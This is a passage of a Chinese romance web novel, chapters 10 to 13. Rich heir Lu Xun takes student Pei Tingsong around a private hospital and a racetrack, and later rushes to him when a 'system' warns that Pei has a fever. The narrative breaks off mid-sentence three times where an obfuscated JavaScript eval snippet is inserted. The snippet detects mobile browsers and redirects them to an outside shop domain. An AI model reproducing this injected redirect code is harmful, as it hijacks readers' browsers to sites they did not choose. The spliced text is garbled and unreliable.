陆洵看他这样觉得好笑,拿起筷子轻轻敲了敲碗,清脆的响声伴随着陆洵那带着笑的声音一起传来,“我有这么难看吗?难看到你都要埋进碗里去了。”
对方越自然,裴亭松就越尴尬,但他又不想显得自己比陆洵青涩,有一种落人下风的感觉。
于是为了缓解尴尬,也为了强撑起气势,更为了自然的躲开和陆洵的视线接触,裴亭松拿出手机开始查看起了信息。
当看到导师发来的最新的课题要求和资料时,裴亭松的眉头不自觉的皱了起来,筷子放在嘴里不自觉的咬着,他就这么下意识的叹了口气。
听到这声叹息,陆洵的眼神一瞬间就落到了裴亭松的身上,语气带着连他自己都没察觉到的关心,“怎么了?”
听到陆洵这声疑问的瞬间,裴亭松下意识的就想遮掩,但一想到昨晚......自己最狼狈不堪、最私密的模样对方全都看过了,一种破罐子破摔的诡异坦诚就这么让裴亭松开了口,“......没什么,就是新课题有点麻烦。”
因为昨晚的过度用嗓,裴亭松的嗓音还有些沙哑黏稠,含含糊糊的,在陆洵听来像是小猫撒娇。
拿起餐巾擦了擦嘴角,陆洵看着对方很是自然的接着问道,“医学生的课题?关于哪方面的?”
对方问的自然,于是裴亭松没多想,答的也自然,“关于区域性罕见病的诊疗现状和调查分析。”
说到这,裴亭松顿了顿,拿起筷子戳了戳碗里的白粥,他有些无奈的抱怨道,“它需要大量的临床数据支撑和访谈,访问对象很难约的......”
这是裴亭松目前最大的困境。
没有资源和人脉,仅凭一个学生,想要深入的接触那些被保护得很好的罕见病例和顶尖专家,难如登天。
陆洵听到这,指尖在桌面上轻轻敲了两下,那双琥珀绿的眸子轻轻瞥了裴亭松一眼,然后陆洵就这么带着一丝小小的得意道,“吃完饭带你去一个地方。”
“去哪?”
“去一个能帮你解决麻烦的地方。”
一个小时后,裴亭松站在了江城最顶级的私人医院——明莱医院的楼下。
这家医院以极高的医疗水平、昂贵的费用和极强的保护隐私著称,主要的客户来源是一众达官贵人和社会名流。
是裴亭松这种穷学生平时绝不会涉足的地方。
陆洵却是轻车熟路的直接带着他穿过了VIP通道,他边带路边向裴亭松介绍道,“这家医院是我一个叔叔开的,他拥有百分之六十的股份,在这家医院有绝对的话语权,所以你等下不管是想参观什么都没问题。”
事实也确实是像陆洵说的那样,这一路上无人阻拦,所有的医护人员见到陆洵的第一反应都是恭敬地颔首问候一声‘陆少’。
裴亭松就这么跟在他的身后,看着周围极致奢华却又不失格调的环境,以及那些只在教科书和顶尖期刊上见过的专家名字,裴亭松再一次清晰的感受到了两个人之间那道巨大的鸿沟。
如果没有陆洵,裴亭松只能一个个低三下四的去求教,他甚至都不一定能见到这些专家的面。而不是像现在这样——陆洵直接带他去敲了院长的办公室。
这位陆洵口中的叔叔对陆洵很是热情,一见到陆洵他就满脸笑意的招着手,“哎呦,稀客啊,无事不登三宝殿啊,小洵今天怎么有空来看我了?”
陆洵闻言,嘴角弯起了一个有些耍赖的弧度,“二叔,您看您这话说的,我就不能是想您了吗?”
这话刚一说完,陆洵就侧身将裴亭松轻轻往前带了一步,他语气也变得认真了些,“不过我今天还真得麻烦您。这位是裴亭松,我的......一个好朋友。他可是我们学校的高材生啊,最近对罕见病的诊疗很感兴趣,二叔你安排一下,带他去相关的科室转转,让他和几位主任聊聊,数据的访问权限也开一下行不行?”
陆洵这话一说完,裴亭松就看到他这位二叔满脸笑意的伸手点了点陆洵,他的语气也是这样,没有一丝的不耐烦,反而满满地全是笑意,“行啊行啊,我就知道你小子来找我准是有事。行,我这就安排一下,让你这位好朋友在我们明莱转转。”
就这短短的几句话,轻描淡写地就解决了裴亭松需要绞尽脑汁去突破的壁垒。
裴亭松说不出此刻是什么感觉,以往的他,看到这种特权阶级一定是极其瞧不上眼的。他会满心鄙夷。
可现在,因为陆洵的一句话,他也成为了特权阶级的享受者。
而当他彻底的踏进去的这一刻,裴亭松才更加深刻的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686042|188835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
认识到了他和陆洵那巨大的阶级鸿沟——是他无法想象也无法跨越的宽阔。
因为陆洵的一句话,裴亭松看到了世界上最先进的检测设备,听到了顶尖医师对前沿疗法深入浅出的讲解,甚至还接触到了几个他只在文献里读过的罕见病例。
但更让裴亭松惊讶的是陆洵。
在整个参观的过程中,陆洵并没有他想象中的那样无所事事或者不耐烦。相反,在对面的医生介绍到一个关于基因疗法的成本和普及的矛盾时,陆洵很自然的加入了讨论。
他就这么抱着臂的倚在昂贵的医疗设备前,姿态极其慵懒,但说出的话却格外的清晰有见地,“技术壁垒突破之后,下一个问题永远是商业化和普惠性的博弈。降低成本的路径无非就两条,要么通过大规模的应用摊薄前期的研发投入,这需要资本敢于投入长周期、高风险的项目。要么就需要有非盈利的基金会介入,承担起这部分的社会责任,推动技术下沉。可我们都知道,这两个都不容易。”
说到这,陆洵顿了顿,目光扫过那些精密的仪器,他的语气平静的不像话,“虽然不想承认,但在疾病面前,钱有时候就是划分生死的线。但这根线不应该是密不透风的铁板一块,总得有人想办法把它变得有弹性,或者......从别的地方再搭座桥。”
对面的医生听到这话连连点头,甚至就着慈善基金的运转模式和陆洵探讨了起来。
裴亭松就这么站在一旁,听着这些讨论出了神。
他第一次看到这样的陆洵。
褪去了所有纨绔子弟的轻浮,展现出了他那个阶级与生俱来的广阔眼界和对资产运作的深刻理解。
他甚至讲述的不是像一般富二代的那种虚无缥缈的概念空谈,而是能真正推进事情落地的可行方案。
看着这样的陆洵,一股难以言喻的情绪像是电流般迅速窜过了裴亭松的心口,有点麻又有点烫。吞了吞口水,裴亭松慌忙地垂下了眼睫,试图将这点不合时宜的悸动彻底压下去。
他不得不承认,这样的陆洵是有魅力的。甚至是一种远超皮相的、更深刻的内在魅力。
原来......他并不是一个只知道吃喝玩乐的草包富二代。
这个念头在裴亭松的脑海里清晰的闪过,他看的太专注想的也太出神,以至于不知道怎么回事,这句话就被他无意识的说出了声。
话音落地的瞬间,裴亭松就猛地回过了神,他心想对方好心带他来参观,结果自己还在心里编排人家。
裴亭松的脸颊腾得一下子烧了起来,他窘迫得恨不得咬掉自己的舌头。
陆洵显然也听到了这句话,结束了和医生的对话之后,陆洵转过身看向了裴亭松。
他就这么似笑非笑饶有兴致的打量着裴亭松那通红的脸颊,然后像是听到了什么极其有趣的话,轻轻地、低低地笑了一下。
那笑声像是一片羽毛一样,轻轻的划过了裴亭松的心尖。
大步走上前,在裴亭松完全僵住的身体前站定,陆洵非常自然的伸出手,微凉的指尖轻轻的压下了裴亭松额前那一缕因为忙碌而翘起来的黑发。
“纠正一下,”微微俯身,琥珀绿的瞳孔里漾着清晰的笑意,陆洵就这么看着裴亭松的眼睛,一字一句,开玩笑的说道,“我不是富二代,我是富很多很多代。”
这句话说完,陆洵又对着裴亭松露出了一个极其灿烂、又带点臭屁的笑容。
但陆洵俯身的那一瞬间,裴亭松就什么都听不到了,鼻尖萦绕着陆洵身上那股熟悉的冷冽香气,裴亭松只能呆呆的望着陆洵那双盛满了笑意的眼睛。
世界的声音和色彩彷佛都在这一刻消失不见,裴亭松的感官里只剩下了眼前这双含笑的、绿宝石一样的眼睛,和胸腔里那失控般擂鼓的心跳声。
迷迷糊糊间,裴亭松感觉从清晨开始就围绕着两人的酸涩梅子味儿好像终于化开了,它好像酿成了某种朦朦胧胧的、会醉人的甜。
11. 第十一章
能进明莱参观学习的机会难得,裴亭松贪婪的学习着新知识,等到走出医院看到天上的繁星之后,他才意识到已经过了这么久。
“那个......谢谢啊。”
虽然他们之间的认识不太体面,后续的发展也让裴亭松对陆洵有着诸多的厌恶,但今天这件事也确实需要好好谢谢对方。
陆洵就这么看着对方低头道谢,很明显,裴亭松的这个谢不再是他那些流于表面的阴阳怪气似道谢,而是一个真心实意地,甚至带点羞涩和难为情的谢。
于是陆洵很是得意享受的接受了这个谢。
轻打了一个响指,陆洵摇了摇手里的车钥匙,“能帮到裴同学是我的荣幸。行了,走吧,我开车带你回学校。”
天色确实已经暗下来了,虽然陆洵不介意和裴亭松再睡一晚,但对方一定是不愿意的,陆洵也不愿意把对方逼的太紧。
追人也要讲究张弛有度。
而且,陆洵自觉他今天的表现极其完美,所以他在裴亭松的眼里一定是有改观的。
可惜回程的气氛和陆洵想象中的完全不一样。
窗外华灯初上,江城的夜景极其的漂亮,流光溢彩。但车内的气氛却是一片沉寂,只有引擎低沉的轰鸣和空调口细微的出风声。
这个气氛和陆洵的幻想不说大相径庭,反正确实两模两样。
目光直视前方,陆洵的指尖有一下没一下的敲着方向盘。
快速的转头看一眼身旁,裴亭松就这么支着手偏头看向了窗外,那些飞速掠过的霓虹灯影在他漆黑的瞳孔里明明灭灭,却丝毫没有把他照亮。
裴亭松整个人都像是笼罩在一片灰暗里一样,配合着他那高挺鼻梁打下的阴影,像是一盏晦涩的琉璃灯。
沉默又疏离,脆弱的一摔就碎似的。
这不应该,陆洵想。
他能清晰的感受到裴亭松身上那低落的情绪,这和陆洵的预想完全不一样。
他今天做的还不够好吗?他展示了自己的资源,替裴亭松解决了麻烦,照顾着裴亭松的情绪,体贴的没有提任何关于昨晚的事情,他甚至还开了几个活跃气氛的玩笑。
不说他想象中的暧昧气氛了,裴亭松再怎么样也不应该表现出这种近乎于悲伤的沉默吧?
这种情绪远远的超过了陆大少爷惯常的处理范围,他早就习惯了别人因为他给予的东西而感恩戴德又或者是欣喜若狂,总而言之反正不可能是像裴亭松这样。
如果是以前有人这么不识抬举,陆洵早就开始生气了,可他却突然发现,他好像没办法对着裴亭松生气了。
往常的冷嘲热讽或是针锋相对,陆洵有些没办法对着裴亭松说出口了。
这让陆洵有些心慌。
再次路过一个红灯,狠狠踩下刹车之后,陆洵终于忍不住侧过头看向了裴亭松。
深吸一口气,陆洵将声音放缓,带着一种自己都没察觉到的耐心问道,“你怎么了?是不舒服,还是......今天有哪里不满意?”
听到这句话,裴亭松像是被从很远的思绪里拽了回来,他的身体几不可查地顿了一下。
反应过来之后,裴亭松轻轻摇了摇头,声音有些发闷,“没有,今天很好,谢谢你。”
这句话说得干巴巴的,陆洵没听出来一丝一毫的‘很好’。
眉心几不可查的皱了起来,陆洵的语气沉了下来,“裴亭松。”
陆洵当惯了人群的中心,所以他极其不喜欢这种被人敷衍的感觉,于是话一出口,就带上了点不容回避的强硬,“你看着我。”
这句话一说完,裴亭松终于转过了身,车内的灯光在他的脸上打下一片柔和的光晕,但依旧遮不掉裴亭松身上的那股疲惫。
陆洵看到对方似乎轻轻叹了口气。
这口气叹的陆洵心慌,胸口处燃起了一股陌生的烦躁。陆洵看着裴亭松,很是急急忙忙的追问道,“你到底怎么了?我带你解决了问题,你......你不开心啊?”
听到这句话,裴亭松抬起头和陆洵对视了几秒,最后他像是终于放弃了抵抗。轻轻扯了扯嘴角,裴亭松露出了一个很轻、很凉,似乎充满了苦涩的一个笑。
“不是不开心。”他的声音小小的、在这个黑夜里飘忽的像是窗外的雾,“只是,我有点......被打击到了。”
“打击?”陆洵闻言满眼的不解。
“嗯。”垂下自己的眼睫,裴亭松看了看自己那因为常年打工而有些粗糙的手指,又看了看陆洵那放在方向盘上光洁的像玉一样的手指,“今天在医院,听到你和院长还有那些医生的对话,看到了那些精秒的仪器,我才第一次,这么清楚地看到了我们之间的差距。”
说到这,裴亭松顿了顿,他似乎在组织语言,语气里也带上了一种几乎疲惫的坦诚,“你知道吗,你今天随口说的那句话,你说家里的小辈都会被安排进各种地方去体验,我听到的时候就在想,我走到今天,我站在你面前,我用了整整18年。”
又叹了口气,裴亭松抬起眼看向窗外飞逝的灯火,眼神有些空洞的说道,“十八年,我才从那个连公路都不通的山村里,一步一步走到江城。我第一次站在江城火车站的时候,连普通话都说不好,带着一嘴的乡下口音,被人明目张胆的嘲笑。”
“那个时候我以为,只要我努力 ,只要我拼命学好普通话,我拿最好的成绩,我就能变得和你们一样,就能被看得起。”
说到这,裴亭松自嘲的笑了笑,“后来我才知道,我错的离谱,练好普通话,腰板挺得再直又有什么用呢?有些东西,是刻在骨头,流在血液里的。就像是你生来就拥有的眼界、资源和那种......理所当然的底气,那是我穷尽一生可能都无法触及的东西。”
“我们之间,隔着一堵看不见的墙。”裴亭松说这话的声音很轻,但它的分量好像又特别重,一下一下的,不停地敲击着陆洵的心脏,“我今天,只是特别清楚地,看到了这堵墙到底有多高、多厚。”
“原来你说你动动手就能买断我的尊严,是真的动动手就可以啊。”
这段话说完,裴亭松像是被抽干了所有的力气,将额头轻轻抵在冰凉的玻璃窗上,裴亭松后知后觉的感到了一股剖白自己之后的尴尬,于是他也不敢再去看陆洵。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686043|188835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
车内陷入了更长久的沉默。
绿灯后,陆洵将车停在了一旁的应急车道里,然后他就这么静静的看着裴亭松。
就像是裴亭松今天第一次看清陆洵一样,陆洵也是第一次真正的听懂了裴亭松的话。
不再是那些冷硬的拒绝和带刺的言语,而是真正的听懂了这些话背后所代表的含义——那十八年沉重的跋涉、那无法融入的自卑、还有那即便拼尽全力也没办法跨越的阶级鸿沟所带来的巨大无力和绝望。
陆洵第一次,透过裴亭松看到的不再是一张漂亮的、倔强的让他产生征服欲的精致面孔,而是一个灵魂。
一个背着沉重枷锁却依旧挺直脊背、在泥泞地里一步步前进的灵魂。
而这个灵魂此刻正因为清晰的看到了那遥不可及的终点而流露出了罕见的脆弱。
这种认知,让陆洵心里那点莫名的烦躁和挫败悄然发生了变化。
他忽然想起了系统说过的话,关于裴亭松那本该有的光明未来,关于他那宁折不弯的骄傲,还有他那在雨夜里坠落的结局......
原来这一切的背后,是这样的十八年。
心脏传来一阵闷痛,陆洵缓缓启动车子,他没有看裴亭松,只是目视前方,声音却褪去了往常惯有的慵懒和戏谑,变得异常的平静和认真。
“那堵墙。”陆洵开口,声音在安静的车厢里格外的清晰,“是存在的,我从不否认这一点。”
“但是,”陆洵说到这顿了顿,然后他侧过头,极其快速的看了裴亭松一眼,那双琥珀绿的瞳孔在夜色中显得难得的温柔,“裴亭松,你有没有想过一件事。”
“什么?”
“你用十八年,从山村里走到了江城,走到了全国顶尖的学府,走到了我面前。这份心气和能力,难道不比投一个好胎更难能可贵吗?”
陆洵说这话的语气里带上了一种不容置疑的肯定,说到最后,他甚至还轻轻笑了一下,表情里也充满了欣赏。
“......”
裴亭松闻言愣住了,他没想过陆洵会说出这样一番话,心脏像是被什么东西轻轻撞了一下,又痒又麻。
他就这么直勾勾的看向陆洵,陆洵却已经转过了头,语气也恢复成了平常的懒散调子,“骨子里的东西,血里的东西......谁说就一定是穷了?你骨子里流的就不能是韧吗?”
说完这句话,陆洵像是想起了什么,轻打一下方向盘,他利落地拐向了另外一条路。
“喂!”
裴亭松这时还没从陆洵的那番发言中回过神,看着窗外陌生的街景,他有些懵的问道,“这不是回学校的路啊?”
“嗯。”陆洵应了一声,轻眨了一下眼睛,他的嘴角勾起了一个极浅的、与平时截然不同的弧度。
“突然不想回学校了,我带你去一个地方。”
“去哪?”
陆洵闻言偏过头对着裴亭松笑了一下,霓虹灯的光影掠过他那张棱角分明的侧脸,那双绿眼睛里好像闪烁着星星的银河一样,勾人又神秘。
“一个......你去了,肯定会开心起来的地方。”
12. 第十二章
车子没有开回学校,但也没开向裴亭松预想中的那种纸醉金迷的娱乐场所。
陆洵一路将车开向了江城的郊外,最后停在了一个极具现代感、灯火通明的庞大建筑群前。
裴亭松一下车就能看到那个巨大的招牌,凌厉的金属字体写着几个大字——极光赛道俱乐部。
即使是夜晚,这里依旧能听到巨大的引擎轰鸣声,空气里也到处弥漫着淡淡的汽油味,还没走进去,裴亭松就能感受到一种躁动又兴奋的气味。
“走吧。”陆洵歪着头看他,嘴角笑得得意又张扬,“你还不知道吧,我可是专业的F1方程式赛车手。”
他一边说一边领着裴亭松走进了大厅,“这家俱乐部是于彻开的,他那人脑子虽然有病,行为处事也确实病的不轻。所有富二代的毛病他都有,赛车当然也不例外,不过他这个俱乐部确实搞得不错,专业级的。”
裴亭松就这么跟着他边走边看,这家俱乐部整体都是冷硬的工业风设计,墙上也挂满了各种赛车的照片和奖杯。
工作人员见到陆洵,立刻马不停蹄地迎了上来,“陆少,您来啦?”
“嗯,带我朋友来玩玩。”陆洵闻言随意的点了点头,接过对方递来的钥匙道谢之后,他就这么轻车熟路地带着裴亭松穿过了几条通道。走到尽头,眼前的景象就豁然开朗。
那是一条极其专业、在夜色中也被无数强光灯照耀得如同白昼的赛道,几辆造型炫酷、贴满赞助标的赛车正在一旁待命,一个个的工程师也忙碌地进行着各种调试。
陆洵挨个打完招呼,然后走到了其中一辆通体哑光黑、线条流畅的像是猎豹般的赛车旁,拍了拍它的车身,陆洵回头看向了一脸震惊的裴亭松。
“怎么样?帅吧。”
男生都喜欢车,连裴亭松这种满脑子学习赚钱的人也不例外,“帅......”
“觉得帅就行。”轻挑了一下眉毛,陆洵那双琥珀绿的瞳孔在强光下闪烁着兴奋的光,“换衣服,我带你体验点不一样的。”
这句话说完,他就扔给了裴亭松一套崭新的赛车服和头盔,“今天我就让你看看,什么叫专业的赛车手。”
于是直到被陆洵半推半催的塞进那辆赛车的副驾,扣上安全带时,裴亭松还有一种强烈的不真实感。
从昨晚开始,他和陆洵的关系就像是一架脱轨的列车,朝着裴亭松无法预料的方向狂奔。他现在甚至还要和陆洵一起飙车!
这实在是有些莫名其妙了,可还没等他继续思考下去,陆洵就猛地点燃了引擎。
车子发出一声低沉又极具威慑力的低吼,震得裴亭松的心脏也跟着抖了一下。
陆洵就在这嘈杂的背景音中侧过了头,隔着厚重头盔的遮挡,裴亭松其实看不清对方的表情,但他能清晰地听到陆洵那通过车内通讯系统里传来的、带着笑意的声音,“坐稳了啊,怕的话,你可以闭上眼睛。”
他这话一出,裴亭松就想嗤笑,他心想陆洵看不起谁呢?谁会害怕?
可惜还没等他回应,陆洵就踩下了油门,车子像是离弦之箭一般猛地冲了出去。
强烈的推背感将裴亭松死死地按在了座位上,窗外的景物疯狂的向后倒退,模糊成一片流动的光影。裴亭松甚至能清晰的听到轮胎摩擦地面而发出的尖锐嘶鸣,每一个弯道,车身都以一种几乎失控的临界姿态漂过,离心力大到裴亭松觉得自己的灵魂都快被陆洵甩了出去。
风声在头盔外呼啸,像是野兽的咆哮声。
太快了,快到裴亭松根本无法呼吸,刚刚那所有的思绪、所有的烦恼,那堵看不见的阶级墙壁,在这一刻,都被绝对的速度给暴力撕碎了。
裴亭松什么都想不起来,他只能感受到自己的心跳,剧烈的像是要在胸腔里炸开一样。
“啊——”
他听到自己不受控制地发出了一声短促的惊叫,随后怕有些丢脸,这声尖叫又被裴亭松死死的压在了喉咙口。
毕竟,从始至终,陆洵都安安静静的开着车,对方都没叫,他叫的话,不就印证了最开始陆洵的那句怕吗?
裴亭松才不愿意丢脸。
可很快,他就听到了陆洵的笑声,那笑声通过通讯系统传来的时候,带上了一股说不出道不明的沙哑性感,配合着陆洵那带着喘息的笑声,格外的勾人,裴亭松感觉自己的耳尖被轻烫了一下。
“怕了?”
“谁怕了?”
不客气的呛回去,裴亭松又听到了陆洵的笑声。
随后又是一个近乎完美的漂移过弯,裴亭松感觉自己的整个身体都在被安全带拉扯着,世界好像都在旋转。
脑子昏昏沉沉的时候,裴亭松听到了陆洵那突然拔高的声音,“裴亭松!”
引擎的轰鸣和呼啸声太大,陆洵几乎是扯着嗓子在喊,“你喊出来啊!别憋着!赛车是发泄的艺术!把那些不痛快的、不开心的、你觉得不公平的事情全都喊出来!”
陆洵的声音实在是太有蛊惑力,于是不知道怎么回事,可能是在那极致的速度带来的眩晕和解放感,也可能是因为陆洵的蛊惑,裴亭松那一直紧绷着的那根弦,终于嘭的一声断掉了。
猛地深吸一口气,裴亭松扯开嗓子,用尽了全身的力气喊了出来,“啊——!!!”
没有具体的词汇,也没有具体的事件,只是一种最原始的、最直接的宣泄。
呼啸的风声吞没了他的喊声。
裴亭松看不见陆洵的脸,但在这震耳欲聋的喧嚣和令人心悸的速度里,裴亭松却总觉得自己无比清晰的看到了陆洵——他看到了陆洵那双漂亮的绿色瞳孔,看到了陆洵那操控方向盘时游刃有余的手指,也看到了陆洵嘴角那抹张扬的笑意。
裴亭松感觉自己的心脏在砰砰乱跳,但他已经分不清自己的心脏是因为这令人心惊的速度在跳,还是因为这掌控速度的人在跳了。
不知过了多久,赛车终于以一个漂亮的甩尾稳稳地停在了起点线旁。
世界骤然安静下来,只剩下引擎熄火后那细微的嗡鸣,还有裴亭松耳边那尚未平息的、擂鼓般的心跳。
咚咚,咚咚,一声声,清晰无比。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686044|188835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
两个人谁都没有先动,也没有说话,只是在车厢内那狭小的空间里,隔着厚厚的头盔,无声的喘息着。
空气里流动的好像不止是因为速度而带来的荷尔蒙,好像还有一种说不清道不明的暧昧。
最后还是陆洵先动了,率先摘下头盔,陆洵的额发都被汗水濡湿了,几缕不听话的发丝搭在眉骨,让他那张过分精致的面孔平添了几分野性。
转过头看向裴亭松,陆洵的眼睛亮的吓人,“怎么样?爽不爽?”
裴亭松听到这话也缓慢的摘下了自己的头盔,他的脸颊还泛着因为剧烈运动后的红晕,眼睛也因为刚刚的刺激蒙上了一层水汽,亮晶晶的。
微微张了张嘴,裴亭松发现喉咙因为刚刚的呐喊而有些沙哑,但他最后还是重重的点了点头,“......爽。”
他是真的觉得爽,怪不得那些富二代都喜欢飙车,原来是因为有一种把世界都甩在脑后的痛快感。
听到他的这句话,陆洵得意的笑了,随后他像只被顺毛捋舒服了的大型猫科动物般,轻轻晃了晃自己的脑袋。
两人下了车,靠在依旧发烫的赛车身上,陆洵拧开了一瓶水递给了裴亭松,随后又给自己也开了一瓶。
仰头大口的喝了几口水,因为过于急切的动作,有几滴水珠顺着陆洵那线条流畅的下颌线滑落,最后没入衣领。
晚风吹佛,带走了一些燥热,陆洵看着远处依旧灯火通明的赛道,像是想起了什么忽然开口说道,“哎,你知道吗?我突然想到,我第一次正式比赛就赢下了一个练了七八年的老手,他技术很好,也很努力,所以他输给我之后特别不服气,赛后他堵着我说我之所以赢了他,是因为我这辆车是他一辈子都买不起的改装车。”
说到这,陆洵嗤笑了一下摇了摇头,“好吧,我承认他说的有一点道理,除去本身的技术问题,硬件也确实很重要。但这个世界本来就不公平,从出生的那一刻就注定了。”
侧过头,陆洵看着裴亭松接着说道,“但是,开车嘛,又或者说,活着嘛,开什么车,从哪里作为起点,有时候真的没那么重要。”
陆洵的眼神深邃,看到裴亭松移过来的目光时还露出了一个笑,“重要的是,人们最终有没有那个能力,把车开到自己想去的终点,对吧?”
这句话说完,陆洵仰头把剩下的水喝完,然后精准的将空瓶投进了不远处的垃圾桶里。
然后,他回过头,目光重新落在裴亭松那依旧泛着红晕的脸颊上,赛道的光映在裴亭松那漆黑的瞳孔里,像是洒下了一片星星。
空气忽然变得有些黏稠,一种无声的暧昧悄悄散开,然后发酵。
陆洵忽然微微俯身,靠近了一些。
裴亭松甚至能闻到陆洵身上那淡淡的汗水味,混合着空气里的那股汽油味,一种让人头晕目眩的气味。
陆洵的目光就这么缓缓的扫过裴亭松的眉眼、鼻梁、最后落在他那因为喘息而微微张开的、色泽嫣红的嘴唇上。
然后他的喉结,就这么几不可察的轻轻滚动了一下。
13. 第十三章
陆洵是在睡梦中被一阵突兀的警报声给吵醒的。
昨晚和裴亭松闹的太晚,把裴亭松送回去之后陆洵才回了家,他又是一个死洁癖,赛车场的汽油味彷佛都沾在了他头发丝上似的,于是把自己从头到尾的洗了两遍之后陆洵才开始上床休息。
那会都已经凌晨了,窗外一片寂静,只有一些还在加班的大厂楼层依旧灯火通明。
这实在是一个适合睡觉的时机,尤其是不远处还飘来了几朵乌云,伴随着星星点点的雨滴,陆洵装备整齐的躺在了自己柔软的大床上。
可惜就在陆洵刚陷入深度睡眠的时候,那该死的警报就在他的脑海深处炸了起来。
【警告!警告!任务目标生命体征异常,体温升高,心率也过快!请宿主立刻前往查看!】
系统消失了一整天,突然的出现就是扰人清梦,陆洵被这道声音气的脑子都在发懵。
“操......!”
转一个身,拿一旁的抱枕死死的捂住自己的耳朵,陆洵想来一个耳不听为净,可惜系统的声音并不是他捂住耳朵就能听不到的。
系统的机械音此刻听起来尖利又刺耳,直接在他的脑子里响个不停。
【宿主!别睡了!你快去啊!】
“你有完没完啊!”
猛地从床上坐起来,陆洵黑着脸的抓过了床头的手机,低头一看,凌晨三点半,陆洵气的更狠了。
窗外一片寂静,只剩下淅淅沥沥打在窗子上的雨声。
烦躁的抓了一把头发,陆洵试图把系统那吵死人的声音从脑子里赶出去,“妈的......你大半夜的发什么疯?裴亭松他一个有手有脚的成年人发个烧能怎么样?他自己还就是学医的!”
888看见陆洵那理直气壮的冷漠模样也来了气,于是咻的一声飞出来,它那小小的一颗圆球上闪烁着一连串的蓝色电流。
【宿主!裴亭松是因为你才生病的。】
“和我有什么......”
反驳的话还没说完,888就直截了当地打断了他。
【任务目标的身体素质本来就不好,他先是中了迷/药和你一起在酒店了过了一晚,然后又没吃午饭在医院里学习了一下午,晚上因为你拉着他去飙车吹了一晚上的冷风!铁打的人也经不住这么折腾啊!】
“什么叫我拉着......”
话又没说完,888又刺啦的放了一道电。
【根据检测,任务目标的体温已经升到了39.8℃了,这个体温下,人类会有意识模糊的倾向,如果没有及时的干预,那裴亭松就可能存在高热惊厥或脱水的风险......】
系统的话还没说完,陆洵那一肚子的起床气就被它那一连串的风险给吓没了。
“......shit!”
他几乎是跳下了床,睡衣都没来得及换,又是随便抓了件长款风衣拿上车钥匙就这么急匆匆的出了门。
心里那股被打扰到睡眠的不耐烦被一种莫名的焦躁取代,陆洵的心情更差劲了。
“裴亭松是傻子吗?身体不舒服不知道说吗?就这么任由自己发烧?亏他还是一个学医的,哪个病人敢让一个都不在乎自己身体的医生去给他看病?!”
说到这,陆洵愤愤不平的又加了一句,“我家的医院绝对不能收这种都不把自己当回事的医生!”
听到这句话,888不知道从哪里又飞了出来,【所以宿主之前是想让任务目标去自家医院工作吗?】
“......”
陆洵倒也没有想让裴亭松去自家医院,但要说没有这个想法,陆洵的心里又早就已经默认好裴亭松毕业之后是会去明莱的。
这不是一个想法,而是一个陆洵早就认定的事实。
但这个时候,陆洵才突然发现这句话是有些奇怪了,他好像理所当然的把裴亭松纳入了自己所有物的行列。
裴亭松要是知道他都把自己毕业后的工作都安排好的话,一定会气个半死。
于是顿了顿,陆洵拉开车门将车开在路上之后,才回答了888的这个问题。
“我想归我想,但还是要看他怎么想吧。裴亭松如果想继续深造呢?又或者,他突然脑子抽了要去非洲奉献自己,这都说不准......”
反正,不管裴亭松怎么选,陆洵都会给他铺好路的。
听到陆洵的这句话,888沉默了半响,然后它飘到陆洵的肩膀处窝了下来,【宿主,你好像变了。】
“哦?”
凌晨的马路没有什么车,陆洵一路压着限速的数字疾。,听到系统的这句话,他偏过头轻笑了一下,“你这话新奇,那你倒是说说,我哪变了?”
888听到这话又是沉默了好一会儿,好半响,就在陆洵以为对方不会回答这个问题的时候,888突然又开口了,【宿主一开始是坏在了明面上,所以888理所当然的觉得你是一个坏人,可慢慢的,888又觉得你好像不是一个坏人,你最近不仅对任务目标很体贴,你还开始尊重他了。】
听到系统的这句话,陆洵一边猛打方向盘,一边替自己辩驳道,“你这话对也不对,人都是站在自己角度上看问题的。就像最开始,你觉得我是一个人渣,那是因为你站在了裴亭松的角度看问题。如果你一开始就站在我的角度,说不定你会觉得我给钱给资源完全没问题啊。”
【......】
系统懒得理陆洵了。
但憋了又憋,888还是没忍住,【总而言之,888现在觉得,原来坏在明面上的人不是最坏的,最坏的还是那种一开始就是大好人,结果满肚子阴谋算计的人。】
它这句话里的意有所指实在是太明显了,但陆洵心里记挂着不远处的裴亭松,于是没注意到系统话里的深意。
“你说的那是伪君子,我可是从头到尾都光明磊落的,是不是快到了?”
车子最终停在了昨晚裴亭松下车的地方,但更具体一点的位置,陆洵就不知道了。
